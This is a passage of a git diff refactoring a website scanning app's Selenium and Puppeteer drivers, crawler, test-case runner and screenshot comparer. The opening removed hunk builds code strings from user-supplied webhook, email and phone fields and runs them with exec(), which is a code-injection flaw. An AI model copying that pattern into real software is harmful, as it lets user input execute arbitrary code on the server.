-            elif 'current_yellowlab_average' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["current_average"])'
-            elif 'pageWeight_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])'
-            elif 'images_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["images_delta"])'
-            elif 'domComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])'
-            elif 'javascriptComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
-            elif 'badJavascript_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])'
-            elif 'jQuery_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])'
-            elif 'cssComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])'
-            elif 'badCSS_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])'
-            elif 'fonts_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])'
-            elif 'serverConfig_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])'
-            # yellowlab scan data
-            elif 'yellowlab_average' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["globalScore"])'
-            elif 'pageWeight' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["pageWeight"])'
-            elif 'images' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["images"])'
-            elif 'domComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["domComplexity"])'
-            elif 'javascriptComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])'
-            elif 'badJavascript' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["badJavascript"])'
-            elif 'jQuery' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["jQuery"])'
-            elif 'cssComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])'
-            elif 'badCSS' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["badCSS"])'
-            elif 'fonts' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["fonts"])'
-            elif 'serverConfig' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["serverConfig"])'
-            
-            
-            elif 'logs' in expression['data_type']:
-                data_type = 'len(scan.logs)'
-            
-            elif 'current_health' in expression['data_type']:
-                data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)'
-
-            elif 'health' in expression['data_type']:
-                data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)'
-
-            elif 'avg_image_score' in expression['data_type']:
-                data_type = 'float(test.images_delta["average_score"])'
-
-            elif 'image_scores' in expression['data_type']:
-                data_type = '[i["score"] for i in test.images_delta["images"]]' 
-                exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
-            
-            if exp is None:
-                exp = f'{joiner}{data_type}{operator}{value}'
-           
-            exp_list.append(exp)
-
-
-
-    for action in actions:
-
-        if 'slack' in action['action_type']:
-            action_type = f"\n  print('sending slack alert')\
-                \n  automation_slack(automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-        
-        if 'webhook' in action['action_type']:
-            action_type = f"\n  print('sending webhook alert')\
-                \n  automation_webhook(request_type='{action['request']}', \
-                request_url='{action['url']}', request_data='{action['json']}', \
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-        
-        if 'email' in action['action_type']:
-            action_type = f"\n  print('sending email alert')\
-                \n  automation_email(email='{action['email']}',\
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-            
-            if report:
-                action_type = f"\n  print('sending report email')\
-                    \n  automation_report_email(email='{action['email']}',\
-                    automation_id='{str(automation.id)}', \
-                    object_id='{str(object_id)}')"
-        
-        if 'phone' in action['action_type']:
-            action_type = f"\n  print('sending phone alert')\
-                \n  automation_phone(phone_number='{action['phone']}', \
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-
-        act = f'{action_type}'
-        act_list.append(act)
-
-
-    exp_string = ' '.join(exp_list)
-    act_string = ''.join(act_list)
-
-    if not use_exp:
-        exp_string = '1 == 1'
-
-    automation_logic = f'if {exp_string}:{act_string}'
-    print(automation_logic)
-    exec(automation_logic)
-
-    return True
-
-
-        
-
-
-
-
-        
-
-
-        
-        
\ No newline at end of file
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 3ed20e7a..c7de3b42 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,7 +1,7 @@
 from .driver_p import driver_init as driver_p_init
 from .driver_s import driver_init as driver_s_init
 from .driver_s import driver_wait, quit_driver
-import time, asyncio, uuid, json, boto3, os
+import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
@@ -13,10 +13,25 @@
 
 
 
+
 class Caser():
+    """ 
+    Run a `Testcase` for a specific `Site`.
+
+    Expects: {
+        'testcase' : object,
+    }
+
+    - Use `Caser.run_s()` to run with selenium
+    - Use `Caser.run_p()` to run with puppeteer
+
+    Returns -> None
+    """
 
 
-    def __init__(self, testcase):
+
+
+    def __init__(self, testcase: object=None):
         self.testcase = testcase
         self.site_url = self.testcase.site.site_url
         self.steps = self.testcase.steps
@@ -58,11 +73,13 @@ def __init__(self, testcase):
 
 
 
+
     @sync_to_async
     def update_testcase(
-            self, index=None, type=None, start_time=None, end_time=None, 
-            passed=None, exception=None, time_completed=None, image=None,
-        ):
+            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+        ) -> None:
+        # updates Tescase for a puppeteer run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
@@ -84,12 +101,16 @@ def update_testcase(
             self.testcase.passed = test_status
         
         self.testcase.save()
-        return
+        return None
+
+
+
 
     def update_testcase_s(
-            self, index=None, type=None, start_time=None, end_time=None, 
-            passed=None, exception=None, time_completed=None, image=None,
-        ):
+            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+        ) -> None:
+        # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
@@ -113,12 +134,17 @@ def update_testcase_s(
         self.testcase.save()
         return
 
+
+
+
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
 
+
+
     def format_element_s(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
@@ -126,13 +152,12 @@ def format_element_s(self, element):
 
 
     
-    async def save_screenshot(self, page):
+    async def save_screenshot(self, page: object=None) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
 
         Returns -> `image_url` <str:remote path to image>
-        
         '''
 
         # setup boto3 configurations
@@ -164,17 +189,17 @@ async def save_screenshot(self, page):
         os.remove(image)
 
         # returning image url
-        return  image_url
+        return image_url
+
 
 
     
-    def save_screenshot_s(self):
+    def save_screenshot_s(self) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
 
         Returns -> `image_url` <str:remote path to image>
-        
         '''
 
         # setup boto3 configurations
@@ -206,11 +231,18 @@ def save_screenshot_s(self):
         os.remove(image)
 
         # returning image url
-        return  image_url
+        return image_url
+
 
     
 
-    def run_s(self):
+    def run_s(self) -> None:
+        """
+        Runs the self.testcase using selenium as the driver
+
+        Returns -> None
+        """
+
         print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
         
@@ -234,7 +266,6 @@ def run_s(self):
                 self.driver.get(f'{self.site_url}')
                 time.sleep(int(self.configs['min_wait_time']))
 
-            
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -261,7 +292,6 @@ def run_s(self):
                     exception = e
                     passed = False
 
-                
                 self.update_testcase_s(
                     index=i, type='action', 
                     end_time=datetime.now(), 
@@ -270,8 +300,6 @@ def run_s(self):
                     image=image
                 )
             
-
-
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -304,8 +332,6 @@ def run_s(self):
                     image=image
                 )
         
-
-
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -339,7 +365,6 @@ def run_s(self):
                     image=image
                 )
 
-            
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -378,9 +403,6 @@ def run_s(self):
                     exception=exception,
                     image=image
                 )
-            
-
-
 
             if step['assertion']['type'] == 'match':
                 exception = None
@@ -416,7 +438,6 @@ def run_s(self):
                     exception=exception,
                     image=image
                 )
-
             
             if step['assertion']['type'] == 'exists':
                 exception = None
@@ -456,17 +477,18 @@ def run_s(self):
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
+        
+        return None
 
 
 
 
+    async def run_p(self) -> None:
+        """
+        Runs the self.testcase using pupeteer as the driver
 
-
-
-
-    
-    async def run_p(self):
-
+        Returns -> None
+        """
 
         print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
@@ -516,7 +538,6 @@ async def run_p(self):
         for step in self.steps:
             print(f'-- running step #{i+1} --')
 
-
             # adding catch if nav is not first
             if i == 0 and step['action']['type'] != 'navigate':
                 print(f'navigating to {self.site_url} before first step')
@@ -524,8 +545,6 @@ async def run_p(self):
                 await self.page.goto(f'{self.site_url}', self.page_options)
                 time.sleep(int(self.configs['min_wait_time']))
 
-
-
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -555,8 +574,6 @@ async def run_p(self):
                     image=image
                 )
                     
-
-
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -590,7 +607,6 @@ async def run_p(self):
                     image=image
                 ) 
 
-
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -626,7 +642,6 @@ async def run_p(self):
                     image=image
                 ) 
 
-            
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -654,9 +669,6 @@ async def run_p(self):
                     exception=exception,
                     image=image
                 )
-            
-
-
 
             if step['assertion']['type'] == 'match':
                 exception = None
@@ -693,7 +705,6 @@ async def run_p(self):
                     image=image
                 )
 
-            
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
@@ -730,9 +741,8 @@ async def run_p(self):
         await self.driver.close()
         print('-- testcase run complete --')
 
-    
-    
-    
+        return None
+
     
     
     
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 89eb1ed5..f13c6b8a 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -5,22 +5,48 @@
 
 
 
+
+
 class Crawler():
+    """ 
+    Crawl the passed "site" for pages, stoping 
+    once 'max_urls' is reached.
+
+    Expects: {
+        'url'       : str,
+        'sitemap'   : str,
+        'start_url' : str,
+        'max_urls'  : int,
+    }
+
+    Use `Crawler.get_links()` initiate a new crawl
+
+    Returns -> list
+    """
+
 
-    def __init__(self, url=None, sitemap=None, max_urls=25):
+
+    def __init__(self, url: str=None, sitemap: str=None, max_urls: int=25):
         self.url = url
         self.sitemap = sitemap
         self.max_urls = max_urls
         self.driver = driver_init()
 
+
+
     
-    def get_links(self):
+    def get_links(self) -> list:
+        # crawl self.url and record any found links 
+        # which are within the same self.url domain
 
         follow_urls = []
         crawled_urls = [self.url,]
+        
+        def url_is_valid(url: str=None) -> bool:
+            # checks if the passed url is 
+            # a valid url to follow and 
+            # not a file or external redirect
 
-        # validates url
-        def url_is_valid(url):
             bad_str_list = ['cdn-cgi']
             bad_end_list = [
                 '.png', '.jpg', '.pdf', '.jpeg', 
@@ -56,10 +82,14 @@ def add_urls(start_url):
                 interval=2
             )
 
+            # parsing page_source 
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+
+            # iterating through all <a> tags
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
+                    # validate url
                     if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
@@ -86,6 +116,7 @@ def add_urls(start_url):
                     print('max pages reached')
                     break
 
+        # quit driver and return
         quit_driver(self.driver)
         return crawled_urls
 
diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py
deleted file mode 100644
index 73601c4e..00000000
--- a/app/api/utils/crux.py
+++ /dev/null
@@ -1,36 +0,0 @@
-import requests, os, json
-
-
-
-class Crux():
-
-    def __init__(self, site_url):
-        self.site_url = site_url
-        self.key = os.environ.get('GOOGLE_CRUX_KEY')
-
-
-    def get_data(self):
-
-        url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}'
-        headers = {
-            "Content-Type": "application/json",
-        }
-        data = {
-            "origin": str(self.site_url),
-        }
-
-        res = requests.post(
-            url=url, 
-            headers=headers, 
-            data=json.dumps(data)
-        )
-
-        response = res.json()
-
-        if res.status_code != 200:
-            response = {
-                "status": "failed",
-                "message": "This site_url does not have enough historical data in the CRUX API to respond with."
-            }
-        
-        return response
diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js
index cae0befc..a51b1005 100644
--- a/app/api/utils/custom-config.js
+++ b/app/api/utils/custom-config.js
@@ -1,7 +1,4 @@
 // custom configurations for Lighthouse CLI
-
-
-
 module.exports = {
   extends: 'lighthouse:default',
   plugins: ['lighthouse-plugin-crux'],
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index bfa37657..e0cd8c0b 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -1,17 +1,28 @@
 from pyppeteer import launch
 from scanerr import settings
-import time, os, numpy, json, \
-sys, datetime, asyncio, subprocess
+import time, os, sys, datetime
 
 
 
-async def driver_init(
-    window_size='1920,1080',
-    wait_time=30, 
-    ):
 
+
+
+async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
+    """ 
+    Starts a new puppeteer driver instance
+
+    Expects: {
+        'window_size' : str, 
+        'wait_time'   : int
+    } 
+
+    Returns -> driver object
+    """
+
+    # parsing window sizes
     sizes = window_size.split(',')
 
+    # setting browser options
     options = {
         'executablePath': os.environ.get('CHROME_BROWSER'),
         'args': [
@@ -26,9 +37,10 @@ async def driver_init(
             'width': int(sizes[0]),
             'height': int(sizes[1]), 
         },
-        # 'timeout': wait_time * 1000  # replaced by 
+        # 'timeout': wait_time * 1000
     }
 
+    # launching driver
     driver = await launch(
         options=options, 
         headless=True,
@@ -37,28 +49,34 @@ async def driver_init(
         handleSIGHUP=False
     )
     
+    # return driver
     return driver
 
 
 
 
-
-async def interact_with_page(page):
+async def interact_with_page(page: object=None) -> object:
     # simulate mouse movement
+    # and returns the page object
     await page.mouse.move(0, 0)
     await page.mouse.move(0, 50)
-
     return page
 
 
 
-async def wait_for_page(page, max_wait_time=30):
+
+async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
     """
     Expects the puppeteer page instance and waits 
     for either the page to fully load or the max_wait_time
     to expire before returning.
 
-    Returns -> Page <pypt:instance>
+    Expects: {
+        'page'          : object, 
+        'max_wait_time' : int
+    }
+
+    Returns -> page <pypt:instance>
     """
 
     print(f'waiting for page load or {str(max_wait_time)} seconds')
@@ -76,12 +94,20 @@ async def wait_for_page(page, max_wait_time=30):
 
 
 
-async def driver_test(*args, **options):
+
+async def driver_test() -> None:
+    """ 
+    Spins up a puppeteer driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
 
     print("Testing puppeteer instalation and integration...")
     message = 'Puppeteer was unable to start\n\n'
     status = 'Failed'
 
+    # testing puppeteer
     try:
         driver = await driver_init()
         page = await driver.newPage()
@@ -93,51 +119,71 @@ async def driver_test(*args, **options):
             status = 'Success'
             message = 'Puppeteer installed and working \N{check mark} \n'
 
+    # log exception
     except Exception as e:
         print(e)
 
+    # logging test results
     sys.stdout.write(
-            '--- ' + status + ' ---\n'+ message
-        )
+        '--- ' + status + ' ---\n'+ message
+    )
 
+    # quiting driver
     try:
         await driver.close()
     except:
         pass
+    
+    return None
    
 
 
 
+async def get_data(url: str=None, configs: dict=None) -> dict:
+    """ 
+    Using the puppeteer driver, navigates to the passed 
+    'url' and records the page source and any 
+    present console errors & warnings
 
+    Expects: {
+        url     : str, 
+        configs : dict
+    }
+    
+    Returns -> data: {
+        'html' : str, 
+        'logs' : dict,
+    }
+    """
 
-async def get_data(url, configs, *args, **options):
+    # initing the driver
     sizes = configs['window_size'].split(',')
     driver = await driver_init(window_size=configs['window_size'])
     page = await driver.newPage()
 
+    # setting driver configs
     page_options = {
         'waitUntil': 'networkidle0', 
         # 'timeout': configs['max_wait_time']*1000
     }
-
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
     }
-    
     userAgent = (
         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
         (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
     )
-
     await page.setViewport(viewport)
-
     if configs['device'] == 'mobile':
         await page.setUserAgent(userAgent)
     
-    
+    # defining logs
     logs = []
+
     def record_logs(log):
+        # helper method to record console
+        # logs in the issues tab
         if log.type == 'error':
             if '.js' in log.text:
                 source = 'javascript'
@@ -168,6 +214,8 @@ def record_logs(log):
             logs.append(log_obj)
     
     def record_network(request):
+        # helper method to record console
+        # network issues in the issues tab
         log_obj = {
             "level": "SEVERE", 
             "source": "network",
@@ -177,6 +225,8 @@ def record_network(request):
         logs.append(log_obj)
 
     def record_error(error):
+        # helper method to record console
+        # page errors in the issues tab
         err = str(error).split(' at ')[0]
         log_obj = {
             "level": "SEVERE", 
@@ -186,11 +236,12 @@ def record_error(error):
         }
         logs.append(log_obj)
 
-
+    # getting console logs, warnings, and errors
     page.on('console', lambda log : record_logs(log))
     page.on('requestfailed', lambda request : record_network(request))
     page.on('pageerror', lambda error : record_error(error))
 
+    # navigate to requested url
     await page.goto(url, page_options) 
 
     # await page.waitForNavigation(navWaitOpt)
@@ -198,8 +249,10 @@ def record_error(error):
     await interact_with_page(page)
     html = await page.content()
     
+    # quitting driver
     await driver.close()
-
+    
+    # returning data
     data = {
         'html': html, 
         'logs': logs,
@@ -208,23 +261,3 @@ def record_error(error):
     return data
 
 
-
-
-def test_puppeteer():
-    # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils/puppeteer.mjs")
-    proc = subprocess.Popen(
-        [
-            'node',
-            js_file,
-        ], 
-        stdout=subprocess.PIPE,
-        user='app',
-    )
-
-    # retrieving data from process
-    stdout_value = proc.communicate()[0]
-
-    # converting stdout str into Dict
-    stdout_json = json.loads(stdout_value)
-    return stdout_json
\ No newline at end of file
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c0f1b639..25447de8 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,38 +1,57 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
-from selenium.webdriver.common.by import By
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
-import time, os, numpy, json, sys
+import time, os, sys
+
+
+
 
 
 
 def driver_init(
-        window_size='1920,1080', 
-        device='desktop',
-        script_timeout=30,
-        load_timeout=30,
-        wait_time=15, 
-        pixel_ratio=1.0,
-        scale_factor=0.5
-    ):
+        window_size: str='1920,1080', 
+        device: str='desktop',
+        script_timeout: int=30,
+        load_timeout: int=30,
+        wait_time: int=15, 
+        pixel_ratio: int=1.0,
+        scale_factor: int=0.5
+    ) -> object:
+    """ 
+    Starts a new selenium driver instance
+
+    Expects: {
+        'window_size'   : str, 
+        'device'        : str,
+        'script_timeout': int,
+        'load_timeout'  : int,
+        'wait_time'     : int, 
+        'pixel_ratio'   : int,
+        'scale_factor'  : int
+    } 
+
+    Returns -> driver object
+    """
 
+    # setting up browser configs
     sizes = window_size.split(',')
-
     prefs = {
         'download.prompt_for_download': False,
         'download.extensions_to_open': '.zip',
         'safebrowsing.enabled': True
     }
-
     mobile_emulation = {
-        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
+        "deviceMetrics": { 
+            "width": int(sizes[0]), 
+            "height": int(sizes[1]), 
+            "pixelRatio": pixel_ratio 
+        },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
         ) 
     }
 
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # setting browser options
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROME_BROWSER')
     options.add_argument("--no-sandbox")
@@ -42,31 +61,41 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    options.add_argument('--hide-scrollbars')
+    options.add_argument("--hide-scrollbars")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
-    options.add_argument("--window-size=%s" % window_size) 
+    options.add_argument(f"--window-size={window_size}") 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
     options.page_load_strategy = 'none'
 
+    # setting to mobile if reqeusted
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     # service = webdriver.ChromeService(executable_path=chromedriver_path)
     driver = webdriver.Chrome(options=options)
     # driver.set_page_load_timeout(load_timeout)
     # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
-    
     return driver
 
 
-def driver_test():
+
+
+def driver_test() -> None:
+    """ 
+    Spins up a selenium driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
     
     print("Testing selenium instalation and integration...")
     message = 'Selenium was unable to start\n\n'
     status = 'Failed'
-
+    
+    # testing selenium
     try:
         driver = driver_init()
         driver.get('https://google.com')
@@ -75,49 +104,46 @@ def driver_test():
         if title == 'Google':
             status = 'Success'
             message = 'Selenium installed and working \N{check mark} \n\n'
-            
+    # log exception   
     except Exception as e:
         print(e)
-
+    
+    # logging test results
     sys.stdout.write(
-            '--- ' + status + ' ---\n'+ message
-        )
-
+        '--- ' + status + ' ---\n'+ message
+    )
+    
     try:
         quit_driver(driver)
         sys.exit(0)
     except:
         pass
-
-
-
-def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5):
-    """
-    Pauses the driver until all network requests have been resolved
-
-    --> Adding mouse interaction to load WP plugin rendered content
-
-    returns once driver determines that all request have resolved or 
-    total wait time exceeds max_wait_time <int>
     
-    """
+    return None
 
-    def get_request_list(driver):
-        # get current snapshot of driver requests 
-        requests = driver.get_log('performance')
-        r_list = []
-        for r in requests:
-            network_log = json.loads(r["message"])["message"]
 
-            # Checks if the current 'method' key has any Network related value.
-            if("Network.response" in network_log["method"]
-                or "Network.request" in network_log["method"]
-                or "Network.webSocket" in network_log["method"]):
 
-                r_list.append(network_log)
 
-        return r_list
+def driver_wait(
+        driver: object, 
+        interval: int=1, 
+        max_wait_time: int=30, 
+        min_wait_time: int=3
+    ) -> object:
+    """
+    Expects the driver instance and waits 
+    for either the page to fully load or the max_wait_time
+    to expire before returning.
+
+    Expects: {
+        'driver'        : object, 
+        'interval'      : int,
+        'max_wait_time' : int,
+        'min_wait_time' : int
+    }
 
+    Returns -> driver object
+    """
 
     def interact_with_page(driver):
         # simulate mouse movement
@@ -139,17 +165,8 @@ def interact_with_page(driver):
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
-        # get first set of logs
-        # list_one = get_request_list(driver=driver)
-        
-        # wait 5 sec or <interval:int> sec for request to resolve
+        # wait 1 sec or <interval:int> sec 
         time.sleep(interval)
-        
-        # get second set of logs
-        # list_two = get_request_list(driver=driver)
-        
-        # check if logs are equal
-        # resolved = numpy.array_equal(list_one, list_two)
 
         page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
@@ -159,40 +176,49 @@ def interact_with_page(driver):
     # interacting with page once available
     interact_with_page(driver)
 
-    return
+    return None
 
 
 
-def get_data(driver, max_wait_time):
-    """
-    Expects the driver instance and max_wait_time <int> 
-    then returns both the page-source (html) and console-logs (logs).
 
-    Method waits for the allocated `max_wait_time`
-    before continuing with data collection.
+def get_data(
+        driver: object, 
+        interval: int=1, 
+        max_wait_time: int=30, 
+        min_wait_time: int=3
+    ) -> dict:
+    """
+    Once the page has loaded, grabs the
+    page-source (html) and console-logs (logs).
+
+    Expects: {
+        'driver'        : object, 
+        'interval'      : int,
+        'max_wait_time' : int,
+        'min_wait_time' : int
+    }
 
     Returns -> data = {
-        "html": <str>,
-        "logs": <dict>
+        'html' : str,
+        'logs' : dict
     }
     """
-    timeout = 0
-    page_state = 'loading'
+
+    # setting defaults
     html = None
     logs = None
 
-    while int(timeout) < int(max_wait_time) and page_state != 'complete':
-        page_state = driver.execute_script('return document.readyState')
-        print(f'document state is {page_state}')
-        time.sleep(1)
-        timeout += 1
+    # waiting for page to load
+    driver_wait(driver=driver)
 
+    # get data from browser
     try:
         html = driver.page_source
         logs = driver.get_log('browser')
     except Exception as e:
         print(e)
 
+    # formatting respones
     data = {
         "html": html,
         "logs": logs
@@ -202,9 +228,12 @@ def get_data(driver, max_wait_time):
 
 
 
-def quit_driver(driver):
+
+def quit_driver(driver: object) -> None:
     """ 
     Quits and reaps all child processes in docker
+
+    Returns -> None
     """
     print('Quitting session: %s' % driver.session_id)
     driver.quit()
@@ -213,14 +242,15 @@ def quit_driver(driver):
         while pid:
             pid = os.waitpid(-1, os.WNOHANG)
             print("Reaped child: %s" % str(pid))
-
             # avoid infinite loop cause pid value -> (0, 0)
             try:
                 if pid[0] == 0:
                     pid = False
             except:
                 pass
+    except ChildProcessError:
+        pass
 
 
-    except ChildProcessError:
-        pass
\ No newline at end of file
+
+    
\ No newline at end of file
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index c041ef8f..d7145f27 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,10 +1,14 @@
 from .driver_s import driver_init, driver_wait, quit_driver
-from PIL import Image as I, ImageChops, ImageStat
+from PIL import Image as I
 from .alerts import sendgrid_email
 from scanerr import settings
 import time, boto3, os
 
 
+
+
+
+
 # setting up s3 client
 s3 = boto3.client(
     's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
@@ -21,13 +25,13 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     send an email to the prospect that requested it.
 
     Expects the following:
-        'report_id'     : <id> of report/page being reported on
-        'email'         : <str> prospect's email address 
-        'first_name'    : <str> prospect's first name
+        'report_id'     : id of report/page being reported on
+        'email'         : str prospect's email address 
+        'first_name'    : str prospect's first name
     
     Returns -> data {
-        'success' : <bool> if process started successfully
-        'error'   : <str> any error msg from Scanerr server
+        'success' : bool if process started successfully
+        'error'   : str any error msg from Scanerr server
     }
     """
 
diff --git a/app/api/utils/image.py b/app/api/utils/imager.py
similarity index 94%
rename from app/api/utils/image.py
rename to app/api/utils/imager.py
index c832006d..0eb81fee 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/imager.py
@@ -1,14 +1,9 @@
 from .driver_s import driver_init, driver_wait, quit_driver
 from .driver_p import driver_init as driver_init_p, wait_for_page
-from selenium import webdriver
 from ..models import Site, Scan, Test, Mask
-from selenium.webdriver.chrome.options import Options
-from django.forms.models import model_to_dict
-from django.core.serializers.json import DjangoJSONEncoder
 from skimage.metrics import structural_similarity
 from scanerr import settings
 from PIL import Image as I, ImageChops, ImageStat
-from pyppeteer import launch
 from datetime import datetime
 from asgiref.sync import sync_to_async
 import time, os, sys, json, uuid, boto3, \
@@ -18,10 +13,12 @@
 
 
 
-class Image():
+
+class Imager():
     """
     High level Image handler used to compare screenshots of
-    a website and retrieve single one-page screenshots. 
+    a website.
+
     Also known as VRT or Visual Regression Testing.
     Contains three methods scan_s(), scan_p(), test(). 
     The _p appendage denotes using Puppeteer as the webdriver
@@ -42,7 +39,9 @@ def test(test=<test:object>) -> compares each
     """
 
 
-    def __init__(self, scan=None, configs=None):
+
+
+    def __init__(self, scan: object=None, configs: dict=None):
 
         # main scan object
         self.scan = scan
@@ -68,7 +67,6 @@ def __init__(self, scan=None, configs=None):
             document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
             """ 
         )
-
         self.set_jquery = (
             """
             var jq = document.createElement('script');
@@ -76,7 +74,6 @@ def __init__(self, scan=None, configs=None):
             document.getElementsByTagName('head')[0].appendChild(jq);
             """
         )
-
         self.pause_animations_script = (
             """
             const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
@@ -88,11 +85,12 @@ def __init__(self, scan=None, configs=None):
 
 
 
-    def check_timeout(self, timeout, start_time):
+
+    def check_timeout(self, timeout: int, start_time: str) -> bool:
         """
         Checks to see if the current time exceedes the alotted timeout. 
         
-        returns -> True if timeout exceeded
+        Returns -> True if timeout exceeded
         """
         current = datetime.now()
         diff = current - start_time
@@ -105,7 +103,7 @@ def check_timeout(self, timeout, start_time):
 
 
 
-    def add_images(self, im1, im2):
+    def add_images(self, im1: object, im2: object) -> object:
         """
         Joins img1 and im2 vertically and saves as "new_img"
         
@@ -121,10 +119,12 @@ def add_images(self, im1, im2):
 
 
     
-    def save_image(self, pic_id, image):
+    def save_image(self, pic_id: str, image: object) -> None:
         """
         Upload image to s3, save info as image_obj,
